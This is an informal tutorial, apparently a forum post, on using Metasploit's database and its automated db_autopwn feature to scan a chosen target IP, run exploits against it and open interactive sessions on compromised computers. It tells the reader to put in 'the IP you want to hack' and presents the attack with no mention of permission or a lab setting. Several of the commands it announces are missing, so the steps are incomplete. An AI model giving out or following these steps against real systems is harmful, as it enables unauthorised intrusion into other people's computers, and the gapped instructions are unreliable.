Now it's time to start. First
Start -- > All Programs --> Metasploit Framework
once you're there open up Metasploit gui.
Now in the CMD window type
db_connect postgres: ThePassYouChose@localhost:5432
Once you've connected type in
to make sure you've actually connected to the server.
If that is correct then type in
IMPORTANT NOTE: Where I typed 127.0.0.1 replace that with the IP you want to hack.
Now it's time to exploit shit.
Let's start. First type in
db_autopwn -t -p -e -s -b
It will start. This will take a while, so just wait.
Once it's done type in
to see what the scanner found. If it worked you should see a list of exploits :D
Now once you've got the exploits to hack the computer, you'll notice, that they're all numbed, and they names.
Just pick a name from the list and type in
sessions -i YOUR EXPLOIT NAME HERE
Or for a better example
sessions -i ExploitNumber
Whatever command you want to do remember to put
Good luck 